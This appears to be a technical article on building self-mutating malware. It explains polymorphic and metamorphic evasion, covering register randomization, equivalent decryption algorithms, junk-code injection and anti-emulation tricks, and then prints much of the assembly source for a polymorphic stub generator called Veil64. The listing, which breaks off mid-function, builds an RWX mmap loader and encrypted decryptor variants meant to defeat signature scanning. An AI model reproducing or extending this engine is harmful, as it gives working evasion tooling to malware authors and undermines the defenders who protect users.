The Art of Self-Mutating Malware

Table of Contents
Article Summary: This article systematically elaborates on the technical evolution and implementation principles of self-mutating malware, covering the core mechanisms of polymorphic and metamorphic engines. Through two concrete examples β Veil64 and Morpheus β the author “f00crew” from Hong Kong China, analyzes key techniques such as register randomization, algorithmic variants, and intelligent junk code injection. It emphasizes how mutation at the syntactic, structural, and semantic layers can evade signature-based detection while strictly adhering to the principle of behavioral conservation. The author points out that the essence of mutation technology is to keep functionality unchanged while infinitely varying the implementation method, and warns of risks such as code size inflation and stability issues.
Categories: Malware, Binary Security, Vulnerability Analysis, Red Teaming, Penetration Testing
The Art of Self-Mutating Malware
In the beginning, detection relied on signatures β a simple byte string that could uniquely identify a malicious sample. In that era, the process was straightforward: append the virus to the end of a file and patch the entry point. The AV industry quickly responded with signature databases, and for a period, the rhythm of this confrontation was predictable.
This article discusses how to implement self-mutating malicious code: how to build your own polymorphic engine, and some core ideas behind metamorphic code. For malicious code, self-mutation is one of the most elegant paths to solving the detection problem. You no longer just hide yourself β you become βanother youβ with every replication. This is the purest form of digital evolution.
The concepts we discuss do not depend on any specific implementation. Although the article uses real examples and practical principles from code I have written, the real value lies in understanding the underlying theory of βwhy mutation is feasible.β
Letβs go back to the beginning. Early VX practices were crude: they directly overwrote files and caused destruction. Some samples would first run the original program and then deliver their own payload. AV quickly caught up, mainly relying on signature scanning to catch samples.
The VX community evolved accordingly and began encrypting their code. The payload remained encrypted and was only unpacked at runtime. AV then turned its attention to the decryptor, so VX authors began dynamically transforming decryption routines. Some families even automatically rotated decryptors β this type later became known as oligomorphic.
Around 1985 to 1990, AV dominated with static signature scanning: string matching and fixed byte patterns made samples easy to hit once they landed on disk. By the early 1990s, the situation began to change. Virus bodies started to be encrypted, exposing only a decryption stub. This stub immediately became AVβs primary hunting target and spurred the development of wildcard and heuristic scanning.
Then polymorphic viruses appeared. The virus would automatically generate a new decryptor at creation time or during each infection. Each instance had its own encryption/decryption routine and evaded scanning by rearranging machine code. This was the typical feature from 1995 to 2000: the same virus, infinite appearances. Dark Avengerβs MtE engine completely rewrote the rules of this game.
After that, metamorphic viruses emerged. They no longer relied on an encryption shell. They would rewrite the entire body with every infection. Code structure, control flow, and register usage would all change, but the payload remained unchanged. Between 2000 and 2005, metamorphic samples like Zmist and Simile raised the bar even higher: there was no fixed decryptor to track β only continuous code mutation.
Metamorphic code changes everything, not just the decryptor. It evolved from polymorphism but upgraded from βencryption camouflageβ to βoverall code reshaping.β Detection difficulty is extremely high; implementation difficulty is equally high, especially at the assembly level.
Overview #
When it comes to self-modifying loaders, you have two paths. The first is to keep it small and aggressive: build a lightweight, fast loader that only performs βjust enoughβ mutation β tweak a few places here, quickly shuffle a few there β to slip past scanners without triggering obvious alerts. The code remains compact and raw, but reliable enough.
The other path is full metamorphosis. The loader no longer just fine-tunes itself; it disassembles and rebuilds itself. Layouts are rearranged, instructions are scattered, and entirely new encryption is used on every run. Even if reverse engineers and AV capture one version, the next version will look like a completely unfamiliar sample.
This is not magic. Making it run stably after every mutation is extremely difficult. You must build in validation: count instructions, verify jumps, and perform sanity checks on every change β otherwise it will crash immediately. Even more troublesome is that code size can balloon out of control, eventually losing practicality.
Before discussing specific techniques, we must first clarify: when we talk about executable code, what does βmutationβ really mean? It is not just βchanging a few bytes,β but the relationship between βform and function,β and how far this relationship can be stretched without destroying behavior.
β The Essence of Identity β #
What exactly makes a program βitselfβ? Is it the order of instructions? Register usage? Memory layout? Or something deeper, like intent?
Mutationβs answer is: identity does not lie in what the code looks like, but in what the code does. As long as two binaries produce the same output for the same input, they are functionally equivalent β even if their assembly is completely different.
1Version A: Version B: Version C:
2mov eax, 0 xor eax, eax sub eax, eax
3inc ebx add ebx, 1 lea ebx, [ebx+1]1Bytes: Bytes: Bytes:
2B8 00 00 00 00 43 31 C0 83 C3 01 29 C0 8D 5B 01Three completely different byte patterns that produce identical behavior. This was my βeureka momentβ and the starting point for all subsequent implementations.
The core insight is: a programβs identity is not its bytes, but its behavior. If I can generate infinitely many patterns that keep behavior unchanged while making bytes different, signature-based detection will be continuously undermined.
But this also raises harder questions:
- How to systematically generate equivalent code?
- How to guarantee correctness across mutations?
- How to make variants truly unpredictable?
These three questions directly shaped the design of my two engines. They explore different paths to βmutation,β and we call them Veil64 and Morpheus.
Veil64 is a polymorphic code generator used to produce infinite variants of decryption routines: same functionality, infinite forms. Morpheus is a file infector that truly rewrites its own code during execution.
This is the core idea. Everything else is built on top of it: if you cannot hide what is done, then make how it is done unpredictable.
Signatures are the byte patterns that AV focuses on tracking β the βhigh-riskβ digital footprints. Strings, code fragments, hashes β anything that can mark malware will be used. Encryption is a key technique here: it scrambles these recognizable markers, making it difficult for AV to hit them.
Then there is the payload, the part that actually executes the malicious logic. It usually does not run alone but is bound to a stub. This small module decrypts and launches the payload in memory. Because the payload itself is encrypted, AV has difficulty hitting it statically and instead targets the stub. The advantage is that the stub is small and easy to continuously mutate, allowing it to constantly bypass old rules.
This turns the confrontation into a βone-to-manyβ game, and this mathematical relationship naturally favors the mutation side. Each new variant has a chance to break old detection rules, burn old signatures, and continue to lurk.
βWhat starts as polymorphic finishes as metamorphic.β
β Levels of Mutation β #
Mutation is not just surface-level change β it occurs across layers, including syntactic, structural, and semantic reconstruction.
First, syntactic mutation (grammar-level mutation). This is the outermost layer: replacing equivalent instructions, randomizing register usage, and reordering operations. Appearance changes, result remains the same.
1Original: mov eax, [ebx+4]
2Mutated: push ebx
3 add ebx, 4
4 mov eax, [ebx]
5 sub ebx, 4
6 pop ebxBoth snippets load the value at [ebx+4] into eax, but the instruction paths are completely different.
Deeper is structural mutation (structure-level mutation). The change is more profound: reconnecting control flow, rewriting data structures, or even replacing entire algorithms with βdifferent paths but equivalent results.β
The deepest is semantic mutation (semantic-level mutation). It splits functions and reorganizes logic into behaviorally equivalent bodies while ensuring the original intent remains unchanged.
β The Conservation Principle β #
No matter how aggressive the mutation, there is one non-negotiable constraint: the programβs semantic behavior must be preserved. What is done (functional output) must remain unchanged; only how it is done (internal implementation mechanism) can change.
The genotype (underlying code structure) can freely drift, mutate, and be obfuscated; the phenotype (externally observable behavior) must remain constant. All mutation techniques can only operate within this boundary.
Naive Approaches #
Polymorphism is the purest form of mutation. It essentially expresses the same thing in a thousand different ways. Like a chameleon with a clear goal: core behavior is locked, while everything else continuously changes. No fixed identity, only endless variants.
My first serious attempt to break signature detection was Veil64: a polymorphic code generator capable of generating infinite different ways to write the same decryption logic. The goal was simple: encrypt the payload differently every time and ensure the decryptor never appears the same twice.
β Core Challenges β #
Constructing code that can correctly decrypt every time but looks different each time is non-trivial. Every generation must be compact, fast, clean, highly efficient, without leaving obvious patterns, and resistant to both static and dynamic analysis.
I started with a simple two-stage design, and understanding this split is key to why it works. The first layer is the stub: a minimal piece of code responsible for memory allocation and decrypting the embedded engine. The second layer is the engine itself: the polymorphic decryptor that actually handles the payload.
1βββββββββββββββββββ
2β Stub Code β (119-200 bytes)
3βββββββββββββββββββ€
4β Encrypted Engineβ (176-300 bytes)
5βββββββββββββββββββ€
6β Padding β
7βββββββββββββββββββWhy use two stages? Because this allows the polymorphic engine itself to be encrypted. The stub is small and simple, so even with variants, the signature surface is limited. The real polymorphic power resides in the engine. By encrypting the engine and embedding it inside the stub, complex and variable code is hidden until runtime.
The overall flow is as follows: you call genrat() with a buffer, size, and seed key. The engine first generates a runtime key using multiple entropy sources: RDTSC provides hardware timing, stack pointer provides process differences, and RIP provides position-related randomness. It then builds the polymorphic engine, including random register allocation, selection among four algorithmic variants, and intelligent junk code injection.
Next comes the stub generation stage. Multiple mmap syscall initialization variants are generated, RIP-relative addressing is handled for position independence, and the encrypted engine is embedded. Finally, everything is encrypted and assembled into executable code.
The clever part is that the stub and engine change independently. Even if someone creates a signature for a stub variant, the internal encrypted engine is different every time. Even if they manage to extract and analyze the engine, the next generation will use a completely different set of registers and algorithms.
β The Four Pillars of Polymorphism β #
Never use the same set of registers twice.
Hard-coded registers are signature bait. If your decryptor always uses EAX as a counter and EBX as a data pointer, you are practically exposing yourself. Such patterns will be quickly flagged, so the engine randomizes register usage on every generation.
But this is not random grabbing. The selection process avoids conflicts, skips RSP to prevent stack corruption, and ensures no register takes on multiple roles. The underlying logic looks roughly like this:
1get_rr:
2 call next_random
3 and rax, 7
4 cmp al, REG_RSP ; Never use stack pointer
5 je get_rr
6 cmp al, REG_RAX ; Avoid RAX conflicts
7 je get_rr
8 mov [rel reg_base], al ; Store base register
9
10.retry_count:
11 call next_random
12 and rax, 7
13 cmp al, REG_RSP
14 je .retry_count
15 cmp al, [rel reg_base] ; Ensure no conflicts
16 je .retry_count
17 mov [rel reg_count], alThis process is repeated for key registers and all registers used in junk code. Even before considering algorithms and junk injection, there are already 210 possible register combinations. That means the same register-level operation can have 210 different appearances β all completely distinct to a signature scanner.
One variant might use RBX for data, RCX for counting, and RDX for the key. The next might switch to RSI for data, RDI for counting, and RBX for the key. Yet another could use extended registers R8, R9, R10. Every combination is functionally equivalent, but the opcode patterns are completely different.
β Four Ways to Say the Same Thing β #
Register randomization is only the starting point. True depth comes from algorithmic polymorphism. We do not fix a single decryption flow but cycle between four equivalent algorithms: same output, completely different instruction streams.
This is not simply swapping XOR for ADD. Each variant is carefully designed to guarantee correctness while maximizing signature dispersion.
- Algorithm 0: ADD β ROL β XOR
- Algorithm 1: XOR β ROL β XOR
- Algorithm 2: SUB β ROR β XOR
- Algorithm 3: XOR β ADD β XOR
All four algorithms produce identical final results, but their instruction sequences and opcode patterns are entirely different.
Each algorithm has a corresponding inverse process in the encryption phase. For example, if encryption uses XOR β ROR β SUB, decryption uses ADD β ROL β XOR. Mathematically they cancel perfectly, but the instruction flows never look the same. Opcode patterns, instruction lengths, and register usage all change. To a signature scanner, they appear as completely different routines.
β Intelligent Junk Code β #
Most polymorphic engines fail here: they either stuff random bytes or pile on obvious NOP sleds, practically shouting βIβm malware.β That is low-level. True polymorphism uses βintentional-lookingβ junk code that blends into the context and mimics normal compiler output.
Junk injection is not purely random β it is structured. It uses no-net-effect PUSH/POP pairs that look like register preservation, XOR reg, reg to imitate common zeroing initialization, and MOV reg, reg that resembles typical compiler register shuffling.
This is just a very basic example. Some engines do it more aggressively. The key point is to make it look like real developer code. PUSH RAX followed by POP RBX can masquerade as register saving and transfer; XOR RAX, RAX looks like legitimate initialization; MOV RAX, RAX resembles dead code left by an optimizer. Functionally they add no value, but visually they blend in.
Junk injection also deliberately varies in density: sometimes heavy, sometimes sparse; sometimes clumped, sometimes scattered in loops. There is no fixed βjunk zoneβ that can be isolated β only code that looks normal every single time.
β Breaking Linear Analysis β #
Static analysis relies on linear flow: traversing code, building graphs, and extracting patterns. So we break it. Random jumps are inserted to skip over junk regions, directly destroying straight-line logic.
Jump generation is subtle. Sometimes 2-byte short jumps, sometimes 5-byte long jumps; they may skip only 1 byte or over a dozen. The skipped junk content is randomized every time. Even if the analyzer follows the jump path, its rhythm is disrupted on every run.
This produces unpredictable control flow and interferes with both static and dynamic analysis. Static tools face non-linear instruction streams mixed with random data; dynamic tools encounter different execution paths on every run, making it difficult to build a stable behavioral profile.
These jumps also serve a dual purpose: they mimic compiler output. Real compiled code is full of branches, jumps, and irregular flow. Injecting our own jumps increases this βnatural complexity,β helping the code blend more seamlessly.
β The Entropy Problem β #
Hard-coded keys or constants are traps. I learned this the hard way: early versions embedded the constant 0xDEADBEEF in every variant. No matter how much the rest of the code changed, that fixed value instantly became a red flag.
The solution is runtime key generation: no fixed constants, no repetition, no nail-down patterns. The key is reconstructed on every execution, drawing from multiple entropy sources that vary with execution round, process, and machine.
Entropy comes from multiple sources. RDTSC provides high-resolution microsecond-level timing; the stack pointer changes with processes and function calls; RIP brings position-related randomness under ASLR; the user key introduces input-driven variation.
The real strength lies in how these values are combined. It is not simple XOR, but involves rotations, complements, and mixing with stack-related values. Each transformation step depends on the current state, forming a dependency chain that ultimately produces a truly unpredictable key.
β Randomness Is Critical β #
Excellent polymorphic capability depends on high-quality randomness. Many engines use basic linear congruential generators or simple incrementing counters β both easily produce predictable patterns that can be flagged. I prefer the XorShift PRNG: fast, long period (2^64β1), and passes strong statistical randomness tests without repeating for a very long time.
Under ASLR, code is loaded at different addresses each time. Hard-coded absolute addresses will cause the polymorphic decryptor to fail if it lands in an unexpected location. The solution is RIP-relative addressing, with offsets calculated based on the current instruction pointer.
β Just-in-Time Machine Code Generation β #
This is where we reach the real core. You cannot simply rearrange pre-written assembly and call it polymorphic. The engine generates raw x64 machine code on the fly, building every instruction byte by byte. Opcodes and operands are computed dynamically based on the current register allocation and algorithm choice.
The ModRM byte is especially critical in x64: it encodes which registers are used. By calculating this byte dynamically, the engine can implement the same operation with any register combination, producing different bytes β and therefore different signatures.
The same polymorphic thinking applies to all syscall parameters. Multiple construction methods are used to avoid pattern matching.
β Performance and Scalability β #
Basic generation averages 9 to 13 milliseconds per variant, translating to 50,000 to 75,000 variants per minute β enough to overwhelm signature detection. Speed is not higher because each variant undergoes register renaming, flow randomization, intelligent junk injection, and anti-debug checks.
Generation time fluctuates by Β±3 to 4 ms by design to avoid predictability; stable timing would aid detection. The engine maintains this jitter by varying instruction order, junk block size, and encryption rounds.
Static memory footprint is approximately 340 to 348 KB β far larger than toy 4 KB engines. This includes precomputed transformation tables, runtime mutation logic, and anti-emulation traps. Per-variant memory usage remains stable with no leaks or growth.
Code size fluctuates between 180 bytes and 1.2 KB. Compact variants favor speed; balanced variants strike a compromise; complex variants maximize complexity to stress AV engines.
β What Variants Look Like β #
1Variant #1: Size 335, Key 0x4A4BDC5C3AEAC0AD
248 C7 C0 0A 00 00 00 mov rax, 10
348 FF C8 dec rax
450 push rax
558 pop rax
690 nop
748 31 FF xor rdi, rdi
8...
9
10Variant #2: Size 368, Key 0x6BAAA583D73FA32B
1150 push rax
1258 pop rax
1350 push rax
1458 pop rax
1548 31 C0 xor rax, rax
1648 83 C0 09 add rax, 9
17...
18
19Variant #3: Size 385, Key 0x5C3F1EDF85C0D55E
2090 nop
2190 nop
2250 push rax
2358 pop rax
2448 C7 C0 09 00 00 00 mov rax, 9
25...Look at the differences. Variant #1 sets RAX by loading 10 then decrementing. Variant #2 uses PUSH/POP junk first, then XOR/ADD. Variant #3 starts with NOPs, inserts another set of junk, then loads directly. The result is the same (RAX = 9), but the method is completely different.
Size fluctuation is large. These three samples differ by less than 50 bytes. In reality, the engine can produce variants from compact 180-byte versions to large 1200-byte versions, depending on the intensity of junk injection and obfuscation.
The engine classifies variants into three categories by structure and complexity. Compact types (β295β350 bytes) minimize junk and prioritize speed; balanced types (up to 400 bytes) compromise between obfuscation and stability; complex types (up to 500 bytes) layer more polymorphic techniques and anti-analysis features.
With four algorithms combined with 210 register permutations, there are already 840 base variants before adding junk and control-flow obfuscation. Introducing variable junk injection, diverse jump patterns, and multiple stub initialization methods expands the variant space into the millions.
The key is not just quantity, but βfunctional equivalence + signature diversity.β Every variant can correctly decrypt the payload, yet appears distinctly different from a signature-detection perspective.
Effective polymorphism maximizes signature diversity without degrading correctness. Generating billions of variants is meaningless if many are broken or still share detectable patterns. Correctness and diversity scale must hold simultaneously.
β Built-in Anti-Analysis Design β #
Emulation engines usually struggle with variable timing, and junk code injection creates unpredictable execution durations. Key generation dependent on stack state makes the same variant behave differently across process contexts. Reliance on hardware timestamps further increases emulation cost because it requires accurate RDTSC simulation.
With no fixed constants or strings, static analysis tools struggle because there are almost no grep-able or fingerprintable anchors. Polymorphic control flow breaks linear analysis, while the encrypted embedded engine hides core logic until runtime.
Dynamic analysis is also disrupted by βlegitimate-looking, functionally neutralβ junk code. Multiple execution paths generate different behavioral traces on every run. Runtime key derivation ensures each execution has a unique key, making results difficult to reuse even if tracing succeeds.
Anti-analysis features are not optional β they are part of the system. Every polymorphic technique serves two purposes simultaneously: evading signatures and increasing analysis cost.
Veil64 Full Source Code #
1;------------------------------------------------------------
2; [ V E I L 6 4 ]
3;------------------------------------------------------------
4; Type: Polymorphic Engine / Stub Generator
5; Platform: x86_64 Linux
6; Size: ~4KB Engine + Custom Stub
7; Runtime shellcode obfuscation, encryption,
8; and stealth execution via mmap + RIP tricks.
9;
10; 0xf00sec
11;------------------------------------------------------------
12
13section .text
14
15global genrat
16global exec_c
17global _start
18
19; x64 opcodes
20%define PUSH_REG 0x50
21%define POP_REG 0x58
22%define ADD_MEM_REG 0x01
23%define ADD_REG_IMM8 0x83
24%define ROL_MEM_IMM 0xC1
25%define XOR_MEM_REG 0x31
26%define TEST_REG_REG 0x85
27%define JNZ_SHORT 0x75
28%define JZ_SHORT 0x74
29%define CALL_REL32 0xE8
30%define JMP_REL32 0xE9
31%define JMP_SHORT 0xEB
32%define RET_OPCODE 0xC3
33%define NOP_OPCODE 0x90
34%define JNZ_LONG 0x0F85
35%define FNINIT_OPCODE 0xDBE3
36%define FNOP_OPCODE 0xD9D0
37
38; register encoding
39%define REG_RAX 0
40%define REG_RCX 1
41%define REG_RDX 2
42%define REG_RBX 3
43%define REG_RSP 4
44%define REG_RBP 5
45%define REG_RSI 6
46%define REG_RDI 7
47
48section .data
49
50stub_key: dq 0xDEADBEEF ; runtime key
51sec_key: dq 0x00000000
52engine_size: dq 0
53dcr_eng: dq 0
54stub_sz: dq 0
55sz: dq 0
56
57seed: dq 0 ; PRNG state
58p_entry: dq 0 ; output buffer
59key: dq 0 ; user key
60reg_base: db 0 ; selected registers
61reg_count: db 0
62reg_key: db 0
63junk_reg1: db 0 ; junk registers
64junk_reg2: db 0
65junk_reg3: db 0
66prolog_set: db 0
67fpu_set: db 0
68jmp_back: dq 0
69alg0_dcr: db 0 ; algorithm selector
70
71align 16
72entry:
73times 4096 db 0 ; engine storage
74exit:
75
76section .text
77
78; main generator entry point
79genrat:
80 push rbp
81 mov rbp, rsp
82 sub rsp, 64
83 push rbx
84 push r12
85 push r13
86 push r14
87 push r15
88
89 test rdi, rdi ; validate params
90 jz .r_exit
91 test rsi, rsi
92 jz .r_exit
93 cmp rsi, 1024 ; min buffer size
94 jb .r_exit
95
96 mov [rel p_entry], rdi
97 mov [rel sz], rsi
98 mov [rel key], rdx
99
100 call gen_runtm ; generate runtime keys
101
102 lea rdi, [rel entry]
103 mov r12, rdi
104 call gen_reng ; build engine
105
106 mov rax, rdi ; calculate engine size
107 sub rax, r12
108 mov [rel engine_size], rax
109
110 mov rdi, [rel p_entry]
111 call unpack_stub ; build stub
112 call enc_bin ; encrypt payload
113
114 mov rax, [rel stub_sz] ; total
115 test rax, rax
116 jnz .calc_sz
117 mov rax, rdi
118 sub rax, [rel p_entry]
119
120.calc_sz:
121 pop r15
122 pop r14
123 pop r13
124 pop r12
125 pop rbx
126 add rsp, 64
127 pop rbp
128 ret
129
130.r_exit:
131 xor rax, rax
132 pop r15
133 pop r14
134 pop r13
135 pop r12
136 pop rbx
137 add rsp, 64
138 pop rbp
139 ret
140
141; generate engine
142gen_reng:
143 push rdi
144 push rsi
145 push rcx
146
147 rdtsc
148 xor rax, [rel key]
149 mov rbx, 0x5DEECE66D
150 xor rax, rbx
151 mov rbx, rax
152 shl rbx, 13
153 xor rax, rbx
154 mov rbx, rax
155 shr rbx, 17
156 xor rax, rbx
157 mov rbx, rax
158 shl rbx, 5
159 xor rax, rbx
160 xor rax, rsp
161 mov [rel seed], rax
162
163 push rdi ; clear state
164 lea rdi, [rel reg_base]
165 mov rcx, 16
166 xor rax, rax
167 rep stosb
168 pop rdi
169
170 pop rcx
171 pop rsi
172 pop rdi
173
174 call get_rr ; select random registers
175 call set_al ; pick decrypt algorithm
176 call gen_p ; generate prologue
177
178 call yes_no ; random junk insertion
179 test rax, rax
180 jz .skip_pr
181 call gen_trash
182
183.skip_pr:
184 call trash
185
186 call yes_no
187 test rax, rax
188 jz .skip_dummy
189 call gen_dummy
190
191.skip_dummy:
192 call gen_dec ; main decrypt loop
193
194 call yes_no
195 test rax, rax
196 jz .skip_prc
197 call gen_trash
198
199.skip_prc:
200 mov al, RET_OPCODE
201 stosb
202
203 cmp qword [rel jmp_back], 0 ; conditional jump back
204 je .skip_jmp
205
206 mov ax, JNZ_LONG
207 stosw
208 mov rax, [rel jmp_back]
209 sub rax, rdi
210 sub rax, 4
211 stosd
212
213.skip_jmp:
214 call trash
215 mov al, RET_OPCODE
216 stosb
217 ret
218
219; encrypt generated engine
220enc_bin:
221 push rdi
222 push rsi
223 push rcx
224 push rax
225 push rbx
226
227 lea rdi, [rel entry]
228 mov rcx, [rel engine_size]
229
230 ; validate engine size
231 test rcx, rcx
232 jz .enc_done
233 cmp rcx, 4096
234 ja .enc_done
235 cmp rcx, 10
236 jb .enc_done
237
238 ; encrypt in place
239 mov rax, [rel stub_key]
240 mov rsi, rcx
241
242.enc_loop:
243 test rsi, rsi
244 jz .enc_done
245 xor byte [rdi], al
246 rol rax, 7
247 inc rdi
248 dec rsi
249 jmp .enc_loop
250
251.enc_done:
252 pop rbx
253 pop rax
254 pop rcx
255 pop rsi
256 pop rdi
257 ret
258
259; build stub wrapper
260unpack_stub:
261 push rbx
262 push rcx
263 push rdx
264 push r12
265
266 mov r12, rdi
267
268 call bf_boo ; bounds check
269 jae .stub_flow
270
271 call stub_trash
272 call gen_stub_mmap
273 call stub_decrypt
274
275 mov rax, rdi
276 sub rax, r12
277 mov [rel stub_sz], rax
278
279 call stub_trash
280
281 ; update size after junk
282 mov rax, rdi
283 sub rax, r12
284
285 ; check space for encrypted engine
286 mov rbx, rax
287 add rax, [rel engine_size]
288 cmp rax, [rel sz]
289 ja .stub_flow
290
291 ; embed encrypted engine
292 lea rsi, [rel entry]
293 mov rcx, [rel engine_size]
294 test rcx, rcx
295 jz .skip_embed
296 rep movsb
297
298.skip_embed:
299 ; final size calculation
300 mov rax, rdi
301 sub rax, r12
302 mov [rel stub_sz], rax
303
304 pop r12
305 pop rdx
306 pop rcx
307 pop rbx
308 ret
309
310.stub_flow:
311 xor rax, rax
312 mov [rel stub_sz], rax
313 pop r12
314 pop rdx
315 pop rcx
316 pop rbx
317 ret
318
319; generate stub junk
320stub_trash:
321 call next_random
322 and rax, 7 ; 0-7 junk instructions
323 mov rcx, rax
324 test rcx, rcx
325 jz .no_garbage
326
327.trash_loop:
328 call next_random
329 and rax, 3 ; choose junk type
330 cmp al, 0
331 je .gen_nop
332 cmp al, 1
333 je .gen_push_pop
334 cmp al, 2
335 je .gen_xor_self
336 jmp .gen_mov_reg
337
338.gen_nop:
339 mov al, 0x90
340 stosb
341 jmp .next_garbage
342
343.gen_push_pop:
344 mov al, 0x50 ; push rax
345 stosb
346 mov al, 0x58 ; pop rax
347 stosb
348 jmp .next_garbage
349
350.gen_xor_self:
351 mov al, 0x48 ; rex.w
352 stosb
353 mov al, 0x31 ; xor rax,rax
354 stosb
355 mov al, 0xC0
356 stosb
357 jmp .next_garbage
358
359.gen_mov_reg:
360 mov al, 0x48 ; rex.w
361 stosb
362 mov al, 0x89 ; mov rax,rax
363 stosb
364 mov al, 0xC0
365 stosb
366
367.next_garbage:
368 loop .trash_loop
369
370.no_garbage:
371 ret
372
373; generate mmap syscall stub
374gen_stub_mmap:
375 ; mmap setup
376 call next_random
377 and rax, 3 ; choose method
378 cmp al, 0
379 je .mmap_method_0
380 cmp al, 1
381 je .mmap_method_1
382 cmp al, 2
383 je .mmap_method_2
384 jmp .mmap_method_3
385
386.mmap_method_0:
387 ; mov rax, 9
388 mov al, 0x48
389 stosb
390 mov al, 0xC7
391 stosb
392 mov al, 0xC0
393 stosb
394 mov eax, 9 ; mmap syscall
395 stosd
396 jmp .mm_continue
397
398.mmap_method_1:
399 ; xor rax,rax; add rax,9
400 mov al, 0x48
401 stosb
402 mov al, 0x31
403 stosb
404 mov al, 0xC0
405 stosb
406 mov al, 0x48
407 stosb
408 mov al, 0x83
409 stosb
410 mov al, 0xC0
411 stosb
412 mov al, 9
413 stosb
414 jmp .mm_continue
415
416.mmap_method_2:
417 ; mov rax,10; dec rax
418 mov al, 0x48
419 stosb
420 mov al, 0xC7
421 stosb
422 mov al, 0xC0
423 stosb
424 mov eax, 10
425 stosd
426 mov al, 0x48
427 stosb
428 mov al, 0xFF
429 stosb
430 mov al, 0xC8
431 stosb
432 jmp .mm_continue
433
434.mmap_method_3:
435 ; mov rax,18; shr rax,1
436 mov al, 0x48
437 stosb
438 mov al, 0xC7
439 stosb
440 mov al, 0xC0
441 stosb
442 mov eax, 18
443 stosd
444 mov al, 0x48
445 stosb
446 mov al, 0xD1
447 stosb
448 mov al, 0xE8
449 stosb
450
451.mm_continue:
452 call stub_trash
453
454 ; rdi setup
455 call next_random
456 and rax, 1
457 test rax, rax
458 jz .rdi_method_0
459
460 ; mov rdi,0
461 mov al, 0x48
462 stosb
463 mov al, 0xC7
464 stosb
465 mov al, 0xC7
466 stosb
467 mov eax, 0
468 stosd
469 jmp .rdi_done
470
471.rdi_method_0:
472 ; xor rdi,rdi
473 mov al, 0x48
474 stosb
475 mov al, 0x31
476 stosb
477 mov al, 0xFF
478 stosb
479
480.rdi_done:
481
482 ; mov rsi,4096
483 mov al, 0x48
484 stosb
485 mov al, 0xC7
486 stosb
487 mov al, 0xC6
488 stosb
489 mov eax, 4096
490 stosd
491
492 ; mov rdx,7 (rwx)
493 mov al, 0x48
494 stosb
495 mov al, 0xC7
496 stosb
497 mov al, 0xC2
498 stosb
499 mov eax, 7
500 stosd
501
502 ; mov r10,0x22 (private|anon)
503 mov al, 0x49
504 stosb
505 mov al, 0xC7
506 stosb
507 mov al, 0xC2
508 stosb
509 mov eax, 0x22
510 stosd
511
512 ; mov r8,-1
513 mov al, 0x49
514 stosb
515 mov al, 0xC7
516 stosb
517 mov al, 0xC0
518 stosb
519 mov eax, 0xFFFFFFFF
520 stosd
521
522 ; mov r9,0
523 mov al, 0x4D
524 stosb
525 mov al, 0x31
526 stosb
527 mov al, 0xC9
528 stosb
529
530 ; syscall
531 mov al, 0x0F
532 stosb
533 mov al, 0x05
534 stosb
535 ret
536
537; generate decryption stub
538stub_decrypt:
539 ; mov rbx,rax (save mmap result)
540 mov al, 0x48
541 stosb
542 mov al, 0x89
543 stosb
544 mov al, 0xC3
545 stosb
546
547 ; calculate RIP-relative offset to embedded engine
548 mov r15, rdi
549
550 mov rax, [rel p_entry]
551 mov rdx, [rel stub_sz]
552 test rdx, rdx
553 jnz .usszz
554 ; fallback calculation
555 mov rdx, rdi
556 sub rdx, [rel p_entry]
557 add rdx, 100
558
559.usszz:
560 add rax, rdx ; engine position
561
562 ; RIP-relative calculation
563 mov rbx, r15
564 add rbx, 7 ; after LEA instruction
565 sub rax, rbx
566
567 ; lea rsi,[rip+offset]
568 mov al, 0x48
569 stosb
570 mov al, 0x8D
571 stosb
572 mov al, 0x35
573 stosb
574 stosd
575
576 ; mov rcx,engine_size
577 mov al, 0x48
578 stosb
579 mov al, 0xC7
580 stosb
581 mov al, 0xC1
582 stosb
583 mov rax, [rel engine_size]
584 test rax, rax
585 jnz .engine_sz
586 mov rax, 512
587
588.engine_sz:
589 cmp rax, 65536
590 jbe .size_ok
591 mov rax, 65536
592
593.size_ok:
594 stosd
595
596 ; mov rdx,stub_key
597 mov al, 0x48
598 stosb
599 mov al, 0xBA
600 stosb
601 mov rax, [rel stub_key]
602 stosq
603
604 ; decryption loop
605 mov r14, rdi
606
607 ; test rcx,rcx
608 mov al, 0x48
609 stosb
610 mov al, 0x85
611 stosb
612 mov al, 0xC9
613 stosb
614
615 ; jz done
616 mov al, 0x74
617 stosb
618 mov al, 0x10
619 stosb
620
621 ; xor [rsi],dl
622 mov al, 0x30
623 stosb
624 mov al, 0x16
625 stosb
626
627 ; rol rdx,7
628 mov al, 0x48
629 stosb
630 mov al, 0xC1
631 stosb
632 mov al, 0xC2
633 stosb
634 mov al, 7
635 stosb
636
637 ; inc rsi
638 mov al, 0x48
639 stosb
640 mov al, 0xFF
641 stosb
642 mov al, 0xC6
643 stosb
644
645 ; dec rcx
646 mov al, 0x48
647 stosb
648 mov al, 0xFF
649 stosb
650 mov al, 0xC9
651 stosb
652
653 ; jmp loop
654 mov al, 0xEB
655 stosb
656 mov rax, r14
657 sub rax, rdi
658 sub rax, 1
659 neg al
660 stosb
661
662 ; copy to allocated memory
663 ; mov rdi,rbx
664 mov al, 0x48
665 stosb
666 mov al, 0x89
667 stosb
668 mov al, 0xDF
669 stosb
670
671 ; calculate engine position
672 mov rax, [rel p_entry]
673 mov rbx, [rel stub_sz]
674 add rax, rbx
675
676 ; RIP-relative offset
677 mov rbx, rdi
678 add rbx, 7
679 sub rax, rbx
680
681 ; lea rsi,[rip+offset]
682 mov al, 0x48
683 stosb
684 mov al, 0x8D
685 stosb
686 mov al, 0x35
687 stosb
688 stosd
689
690 ; mov rcx,engine_size
691 mov al, 0x48
692 stosb
693 mov al, 0xC7
694 stosb
695 mov al, 0xC1
696 stosb
697 mov rax, [rel engine_size]
698 test rax, rax
699 jnz .engine_sz2
700 mov rax, 256
701.engine_sz2:
702 stosd
703
704 ; rep movsb
705 mov al, 0xF3
706 stosb
707 mov al, 0xA4
708 stosb
709
710 mov al, RET_OPCODE
711 stosb
712
713 ret
714
715bf_boo:
716 push rbx
717
718 mov rax, rdi
719 sub rax, [rel p_entry]
720 add rax, 300
721 cmp rax, [rel sz]
722
723 pop rbx
724 ret
725
726; generate runtime keys
727gen_runtm:
728 push rbx
729 push rcx
730
731 rdtsc ; entropy from RDTSC
732 shl rdx, 32
733 or rax, rdx
734 xor rax, [rel key] ; mix with user key
735
736 mov rbx, rsp ; stack entropy
737 xor rax, rbx
738
739 call .get_rip ; RIP entropy
740.get_rip:
741 pop rbx
742 xor rax, rbx
743
744 rol rax, 13
745
746 mov rbx, rax ; dynamic constant
747 ror rbx, 19
748 xor rbx, rsp
749 add rax, rbx
750
